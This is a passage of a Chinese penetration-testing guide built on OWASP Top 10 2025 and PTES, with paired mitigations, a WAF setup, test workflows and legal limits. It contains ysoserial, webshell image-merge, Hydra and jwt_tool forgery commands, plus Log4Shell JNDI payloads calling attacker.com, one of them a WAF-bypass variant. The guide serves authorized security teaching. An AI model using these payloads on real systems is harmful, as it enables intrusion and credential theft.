<!DOCTYPE、<!ENTITY、SYSTEM关键字的请求 - 限制 XML 文档大小防 DoS;及时升级解析库
不安全反序列化 Insecure Deserialization · 所属 PTES 阶段:渗透利用
应用反序列化不可信数据时未做验证,攻击者构造恶意序列化对象,借助依赖库中可串联的「Gadget Chain(利用链)」通过反射、动态代理等机制执行任意代码。三个前提:存在反序列化入口、ClassPath 存在危险库、存在可串联的利用链。
识别入口的特征:Java 序列化数据 base64 后以 rO0AB 开头(原始字节 AC ED 00 05);PHP 序列化形如 O:8:"ClassName":...;Cookie/参数中出现此类特征即为潜在入口。
ysoserial——Java 反序列化 Payload 生成器,内置 Commons Collections、Groovy、Hibernate、Jdk7u21 等多条预定义利用链:
# 生成 CommonsCollections 利用链 Payload java -jar ysoserial.jar CommonsCollections1 "touch /tmp/pwned" > payload.ser # base64 后提交到目标接口 cat payload.ser | base64 -w0
- 黄金法则:绝不反序列化不可信数据。用 JSON 等纯数据格式替代原生序列化
- 必须反序列化时:对序列化数据做签名/HMAC 完整性校验;白名单限制可反序列化的类(Java
ObjectInputFilter) - 升级/移除危险依赖(Commons Collections 3.2.2+ 已移除危险方法)
- 网络层限制应用服务器的 LDAP/RMI 出站连接(阻断 JNDI 类利用链回连)
- 运行时防护(RASP)监控反序列化与类加载行为
文件上传漏洞 Unrestricted File Upload · 所属 PTES 阶段:渗透利用
文件上传功能对文件的类型、内容、后缀控制不足,导致攻击者可上传可执行脚本(Webshell)并获得服务器命令执行能力。
绕过手法演进
Burp 抓包改包.phtml / .PhP / shell.php. / ::$DATAContent-Type: image/jpegcopy a.jpg/b + shell.php shell.jpg上传成功后用 蚁剑(AntSword)/ 哥斯拉 / 冰蝎 等 Webshell 管理工具连接控制服务器。靶场练习推荐 upload-labs(21 个关卡覆盖全部绕过手法)。
# 制作图片马(靶场练习) copy a.jpg/b + shell.php shell.jpg # Windows 合成图片马 cat shell.php >> a.jpg # Linux 追加
- 白名单校验文件后缀与真实类型(MIME + 魔数 + 图片二次渲染)
- 上传目录禁止脚本执行(Nginx 对上传目录配置禁用 PHP 解析)
- 文件名随机重命名并隐藏真实路径;上传目录与 Web 根目录分离(独立域名/对象存储)
- 限制文件大小、集成杀毒引擎扫描内容;Web 进程最小权限
软件供应链故障 · Log4Shell CVE-2021-44228 · 所属 PTES 阶段:漏洞分析
2025 版将「易受攻击且过时的组件」扩展为软件供应链故障,覆盖依赖投毒、构建系统攻击、分发链路篡改等全链条风险。该类别出现频次较低,但平均利用分与影响分最高——一个三方依赖的 0day 可以同时打穿上千个应用。
案例:Log4Shell(CVE-2021-44228)
Log4j2(2.0-beta9 至 2.14.1)记录日志时会解析 ${} 格式的 Lookup 表达式,攻击者将 JNDI 表达式注入任何会被记录的字段(User-Agent、用户名、API 参数),触发链:日志记录 → 解析 JNDI → 连接恶意 LDAP/RMI 服务器 → 下载并动态加载恶意 Java 类 → RCE。CVSS 10.0,「记录日志即可触发」。
${jndi:ldap://attacker.com:1389/Exploit} ${jndi:rmi://attacker.com:1099/Exploit} # WAF 绕过变形 ${${lower:j}ndi:ldap://attacker.com/a} # 无害测试载荷(验证是否存在解析行为) ${java:version} ${env:PATH}
# 资产排查:找出所有 log4j-core 包 find / -name "log4j-core-*.jar" 2>/dev/null # SCA 工具扫描依赖漏洞 trivy fs --severity HIGH,CRITICAL . grype dir:. # nuclei 漏洞验证(仅限授权目标) nuclei -u http://target -t cves/2021/CVE-2021-44228.yaml
# P0 根本修复:升级到 2.17.1+(Java 8+)/ 2.12.4(Java 7)/ 2.3.2(Java 6) <properties><log4j2.version>2.17.1</log4j2.version></properties> # 临时缓解(可被 CVE-2021-45046 部分绕过) -Dlog4j2.formatMsgNoLookups=true LOG4J2_FORMAT_MSG_NO_LOOKUPS=true # 应急手术:删除 JndiLookup 类 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
- 防火墙限制应用服务器 LDAP(389)/RMI(1099) 出站连接
- WAF 拦截
${jndi:、ldap://、rmi://特征 - 建立 SBOM(软件物料清单)并用 SCA 工具持续扫描依赖
15 · 认证与会话:爆破、JWT、MFA
认证失效覆盖弱口令、暴力破解、凭证填充(撞库)、会话管理缺陷、JWT 误用等。2025 版聚焦现代登录/会话/令牌流程。
身份认证失效 Authentication Failures · 所属 PTES 阶段:漏洞分析 / 渗透利用
认证失效覆盖弱口令、暴力破解、凭证填充(撞库)、会话管理缺陷、JWT 误用等。三类主流自动化攻击:
- 暴力破解:对单账户穷举大量密码
- 密码喷洒(Password Spraying):用少数常见密码横扫大量账户,规避单账户锁定
- 凭证填充(Credential Stuffing):用已泄露的真实账号密码对批量尝试登录其他平台
会话层缺陷:登录后会话 ID 不轮换(会话固定)、Session 永不过期、退出后未失效、URL 携带 Session ID。JWT 攻击:弱密钥爆破、alg=none 绕过、HS256/RS256 算法混淆、不校验 exp。
Hydra——暴力破解经典工具,支持 SSH/FTP/MySQL/HTTP 表单等数十种协议:
# SSH 爆破 hydra -L users.txt -P pass.txt -t 6 ssh://192.168.1.100 # HTTP POST 表单爆破(^USER^/^PASS^ 占位,F= 失败特征串) hydra -l admin -P pass.txt 192.168.1.100 http-post-form "/login:username=^USER^&password=^PASS^:F=登录失败" # 常用参数:-l 单用户 / -L 用户字典 / -P 密码字典 # -C user:pass 组合字典 / -e nsr(空密码/用户名作密码/倒序) # -t 并发线程 / -o 结果输出 / -vV 详细过程
jwt_tool——JWT 安全测试:
# 爆破 HS256 弱密钥 jwt_tool <JWT> -C -d wordlist.txt # 伪造 alg=none 令牌 jwt_tool <JWT> -X a
Burp 插件 JWT Editor 可实时修改 JWT 声明并重放请求。
- 多因素认证(MFA):关键业务强制开启;或条件式 MFA——仅对新设备、异地等异常信号触发
- 速率限制与账户锁定:按「账户 + 设备指纹 + 行为模式」多维度限速(单纯按 IP 限速会被代理池绕过);多次失败后临时锁定 + 验证码
- 密码安全存储:bcrypt 或 Argon2 加盐哈希(bcrypt 工作因子建议 12),恒定时间比较防时序攻击;严禁明文或 MD5/SHA1
- 泄露凭证筛查:对接 Have I Been Pwned 等 k-匿名服务,拒绝已泄露密码
- 会话安全:登录后轮换会话 ID;Cookie 设
Secure; HttpOnly; SameSite;退出即失效 - 统一错误信息:「用户名或密码错误」,防账户枚举
- JWT 使用 RS256/ES256 非对称算法、白名单校验算法字段、设置合理
exp/nbf
@app.route('/login', methods=['POST']) @limiter.limit("5/minute") # 限速防爆破 def login(): user = db.find_by_email(request.form['email']) if not user or not bcrypt.checkpw( request.form['password'].encode(), user.password_hash): return "Invalid credentials", 401 # 统一错误信息 session.regenerate() # 登录后轮换会话ID if user.mfa_enabled: return redirect('/mfa-verify') # 条件式 MFA
16 · 其他类别要点
OWASP Top 10 的二十年演进勾勒出一条清晰轨迹:从「代码级漏洞」(注入、XSS)到「系统性风险」(供应链、配置、设计、异常处理)。
安全配置错误(A02:2025,跃升第 2)
新版数据显示 100% 的被测应用都存在某种配置问题:默认口令、目录列表开启、调试模式上线、冗长错误堆栈、云存储桶公开读写、不必要端口/服务开放、安全响应头缺失。
# 配置与已知漏洞扫描 nikto -h http://target.com nuclei -u http://target -t http/misconfiguration/ # 目录/敏感文件枚举 gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt # 云存储桶枚举 aws s3 ls s3://bucket-name --no-sign-request # 仓库密钥泄露扫描 gitleaks detect --source ./repo trufflehog git https://github.com/org/repo
加密机制失效(A04:2025)
明文 HTTP 被嗅探、弱算法(MD5/SHA1/DES/ECB)、硬编码密钥、随机数可预测、敏感数据明文落库。
- 全站 TLS 1.2+/HSTS;密码用 bcrypt/Argon2;数据加密用 AES-GCM 等带认证的算法
- 密钥进 KMS/Secrets 管理而非代码库
不安全设计(A06:2025)
缺陷在架构与设计阶段就注定,代码再好也无法补救——如找回密码仅凭可猜测的安全问题、交易接口无防重放与限额。
- 威胁建模(STRIDE/PASTA)、安全设计模式、参考架构、滥用场景(Abuse Case)分析——安全左移
日志与告警失效(A09:2025)
没有日志和告警,入侵发生后平均数月才被发现。
- 记录登录失败、越权、支付等关键事件;日志防注入(输入转义)
- 集中化(ELK/Splunk/SIEM)并设置可行动的实时告警
- 保证审计日志完整性与留存周期
异常情况处理不当(A10:2025,全新类别)
错误堆栈泄露内部信息、fail-open(异常时默认放行,绕过鉴权)、超时与资源耗尽导致状态不一致、边界条件(并发条件竞争、整数溢出)。
- 安全失败(fail-closed)、统一异常处理不泄露内部细节
- 事务保证状态一致性、对边界与异常路径做专项测试
17 · 速查矩阵:漏洞 × 工具 × 防御
一张图快速定位:遇到什么漏洞 → 用什么工具检测 → 用什么手段防御。
SQL 注入
命令注入
XSS
CSRF
SSRF
越权 / IDOR
路径遍历
文件上传
XXE
反序列化
认证爆破
组件漏洞
18 · 攻防工具链总览
按"攻击侧"与"防御侧"分类的工具速查表,覆盖代理、扫描、利用、防御、检测全链路。
| 侧 | 类别 | 工具 | 用途 | 示例命令 |
|---|---|---|---|---|
| 攻 | 综合代理 | Burp Suite / OWASP ZAP | 抓包改包、扫描、Intruder Fuzz | —(GUI) |
| 攻 | SQL 注入 | sqlmap | 自动化注入检测与拖库 | sqlmap -u "URL?id=1" --dbs --batch |
| 攻 | XSS | dalfox / XSStrike | XSS 扫描与验证 | dalfox url "URL?q=x" -b your.xss.ht |
| 攻 | 越权检测 | Burp Autorize | 批量重放对比越权 | —(插件) |
| 攻 | 爆破 | Hydra | 协议/表单口令爆破 | hydra -L u.txt -P p.txt ssh://ip |
| 攻 | 目录扫描 | gobuster / dirsearch | 目录与敏感文件枚举 | gobuster dir -u URL -w wordlist |
| 攻 | 漏洞扫描 | Nuclei | 模板化 CVE/配置扫描 | nuclei -u URL -s critical,high |
| 攻 | Web 扫描 | Nikto | 配置错误与已知漏洞 | nikto -h URL |
| 攻 | 反序列化 | ysoserial | Java 利用链 Payload | java -jar ysoserial.jar CC1 "cmd" |
| 攻 | JWT | jwt_tool | JWT 爆破与伪造 | jwt_tool <JWT> -C -d dict.txt |
| 攻 | 漏洞利用 | Metasploit | 模块化漏洞利用框架 | msfconsole -r exploit.rc |
| 攻 | Webshell | 蚁剑 / 哥斯拉 | Webshell 连接管理 | —(GUI) |
| 防 | 网关 | ModSecurity + OWASP CRS | WAF,拦截注入/XSS/LFI 等攻击 | docker run owasp/modsecurity-crs |
| 防 | 代码 | Semgrep / SonarQube | SAST,CI 中拦截不安全代码 | semgrep --config auto . |
| 防 | 依赖 | Trivy / Grype | SCA,扫描漏洞依赖 | trivy fs --severity HIGH,CRITICAL . |
| 防 | 供应链 | SBOM(Syft)/ Sigstore | 依赖可追溯、防投毒 | syft . -o cyclonedx-json |
| 防 | 密钥 | TruffleHog / Gitleaks | 扫描仓库泄露的密钥 | gitleaks detect --source . |
| 防 | 运行时 | RASP / HIDS | 运行时行为监控拦截 | — |
| 防 | 检测响应 | SIEM(ELK/Splunk) | 告警与溯源 | — |
19 · 纵深防御实战:WAF 与安全基线
ModSecurity 是全球最流行的开源 WAF 引擎,搭配 OWASP Core Rule Set(CRS)可防护 SQLi、XSS、LFI/RFI、RCE 等 Top 10 攻击,CRS 采用异常评分机制与偏执等级(Paranoia Level 1–4)平衡检出率与误报。
Docker 快速部署
services:
crs:
image: owasp/modsecurity-crs
ports: ["80:80"]
environment:
- SERVERNAME=localhost
- PARANOIA=1 # 偏执等级,越高规则越严、误报越多
- ANOMALYIN=5 # 入站异常评分阈值
- ANOMALYOUT=4 # 出站异常评分阈值
- PROXYLOCATION=http://app:8000/ # 后端应用Nginx 集成
# 1. 获取推荐配置并开启拦截模式 mkdir /etc/nginx/modsec wget -P /etc/nginx/modsec/ https://raw.githubusercontent.com/SpiderLabs/ModSecurity/v3/master/modsecurity.conf-recommended mv /etc/nginx/modsec/modsecurity.conf{-recommended,}.conf sed -i 's/SecRuleEngine DetectionOnly/SecRuleEngine On/' /etc/nginx/modsec/modsecurity.conf # 2. 引入 OWASP CRS 规则集 cd /etc/nginx/modsec wget https://github.com/coreruleset/coreruleset/archive/refs/tags/v3.3.2.tar.gz tar xf v3.3.2.tar.gz cp coreruleset-3.3.2/crs-setup.conf{.example,} # 3. nginx.conf 启用 # modsecurity on; # modsecurity_rules_file /etc/nginx/modsec/main.conf;
HTTP 安全响应头速查
Strict-Transport-Security: max-age=31536000; includeSubDomains # 强制 HTTPS Content-Security-Policy: default-src 'self' # 防 XSS X-Content-Type-Options: nosniff # 防 MIME 嗅探 X-Frame-Options: DENY # 防点击劫持 Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: session=...; Secure; HttpOnly; SameSite=Lax # 会话加固
20 · Web / API 专项流程
Web/API 测试不能混用网络/主机测试的打法。重点是 BOLA/对象级授权、属性级授权、Token、Schema、限流、SSRF、GraphQL/WebSocket;必须用测试对象和角色矩阵。
页面、API、参数、上传、导入、导出、Webhook、管理端
匿名、普通用户、管理员、服务账号;每个对象做访问对比
类型、长度、编码、解析器边界、错误处理;先无害标记
状态跳转、重复提交、金额/权限边界、竞态、审批绕过
WSTG 对照补充
- 配置与部署:默认文件、详细错误、调试端点、目录列表、HTTP 安全头、TLS 配置
- 认证与会话:登录、注销、密码重置、MFA、会话固定、过期、撤销、Cookie 属性
- 授权:水平/垂直越权、多租户隔离、对象级和功能级授权
- 输入与错误处理:类型、长度、编码、解析器边界、错误信息、异常堆栈和统一错误响应
- 密码学:弱算法、密钥/证书配置、传输保护、密码存储和随机数使用
- API/客户端:REST、GraphQL、WebSocket、异步任务、限速、浏览器端信任边界
推荐测试顺序
- 读取公开页面和 API 文档,记录技术栈与版本
- 建立正常请求基线,不带攻击载荷
- 逐项测试认证、会话、访问控制、输入验证、文件上传、配置
- 发现异常后用 Repeater 做单变量对比
- 只用测试账号、测试对象和无害文件确认影响
- 记录每个结论的前置条件与证据
文件上传验证原则
允许列表:扩展名 + MIME + magic bytes + 内容结构 存储:随机文件名、非 Web 根目录、最小权限 执行:上传目录禁止脚本执行 访问:下载接口做对象级授权 验证:使用无害 Canary,不读取真实密钥/配置
21 · 网络、SSH 与认证测试流程
网络测试的核心是"先识别、再判断、后验证",不要凭 Banner 断言系统类型。
- 识别:确认端口、协议、Banner、算法、TLS/Host Key
- 判断实现:真实服务、转发、设备服务或模拟器只能作为假设,不能仅凭 Banner 定论
- 认证方式:确认 password/publickey/证书/多因素和失败处理
- 限量验证:优先测试账号,低并发、低速、可停止,观察服务端审计
- 策略观察:失败次数、锁定、延迟、来源限制、告警、日志投递
- 影响边界:不要把验证扩展到真实账号、敏感数据或横向移动
22 · 专项边界:内网、云、无线与 OT
API、AD/内网、云与容器、无线/物理/OT 不能混用一套打法。
重点是 BOLA/对象级授权、属性级授权、Token、Schema、限流、SSRF、GraphQL/WebSocket;必须用测试对象和角色矩阵
重点是资产关系、身份路径、Kerberos、委派、网段边界和堡垒机;BloodHound 等枚举必须有独立内网授权
重点是 IAM、存储权限、网络暴露、密钥、Kubernetes RBAC、镜像和运行时;第三方云平台与托管服务需单独确认
单列授权、现场联系人和停机红线;OT 环境默认禁止主动扫描和破坏性验证,先采用被动观察与厂商批准的方式
侦查边界
- 被动侦查:公开 DNS、证书、公开文档和公开代码,不主动触达目标;适合在授权尚未覆盖主动探测时建立初步画像
- 主动侦查:端口扫描、Web 请求、协议握手和目录枚举,会触达目标,必须在 ROE 中明确源 IP、速率、时间窗和影响控制
- 外部指纹不是事实:Banner、TTL、算法或错误页面只能形成概率判断,遇到不一致应记录"不确定",不能据此断言系统类型或蜜罐
23 · 工具选择:按动作建立自己的决策树
经验来自"假设—动作—证据—决策"循环,而不是从工具名开始。
→ nmap / Banner / 协议探测
→ ssh -v / 认证枚举 / 服务端配置
→ baseline + ffuf/Gobuster
→ Burp Repeater + 两个角色/对象对比
→ allowlist/内容签名/无害 Canary
→ 单次受控事件 + 读取最终日志后端
每次行动前的 9 个问题
- 目标是否在授权范围?
- 我当前掌握哪些事实?
- 哪一个未知信息阻碍决策?
- 我要验证的假设是什么?
- 工具是否匹配目标协议和实现?
- 会产生什么副作用?
- 成功和失败的判据是什么?
- 证据从哪里读取?
- 什么时候停止,下一步如何升级?
A1 · 法律合规红线
渗透测试的全部合法性来自事先、书面、范围明确的授权。
在中国境内,未经授权扫描、侵入计算机信息系统或获取数据,可能触犯《刑法》第 285 条(非法侵入/获取计算机信息系统数据)与第 286 条(破坏计算机信息系统);承接等级保护相关测评还需关注等保 2.0 系列标准对测评机构与流程的要求。跨境测试还需注意数据出境与目标司法辖区的计算机犯罪法律。
A2 · 能力认证路径(学习参照)
| 认证 | 定位 | 适合阶段 |
|---|---|---|
| OSCP(OffSec) | 实操型渗透测试黄金标准,24 小时实机考试 | 入门转进阶的分水岭 |
| PNPT(TCM Security) | 完整项目制考试:含报告与汇报环节 | 入门/进阶,贴近商业交付 |
| CISP-PTE / CISP-PTS(中国) | 国内注册渗透测试工程师/专家 | 国内从业资质刚需 |
| GPEN / GXPN(GIAC) | 企业渗透测试 / 高级利用开发 | 进阶 |
| OSEP / OSED(OffSec) | 规避防御 / 利用开发 | 红队与高阶方向 |
A3 · 官方一手资源(建议收藏原文)
- PTES 官方站点 — pentest-standard.org
- NIST SP 800-115 原文 — csrc.nist.gov
- OSSTMM 3 手册原文 — isecom.org
- OWASP WSTG 在线版 — owasp.org;OWASP Top 10 — owasp.org/Top10
- MITRE ATT&CK 企业矩阵 — attack.mitre.org
- CVSS v4.0 规范与计算器 — first.org
- TIBER-EU 框架 — ecb.europa.eu
- 合法练手环境:HackTheBox、TryHackMe、PortSwigger Web Security Academy、VulnHub、本地靶场(DVWA、Metasploitable)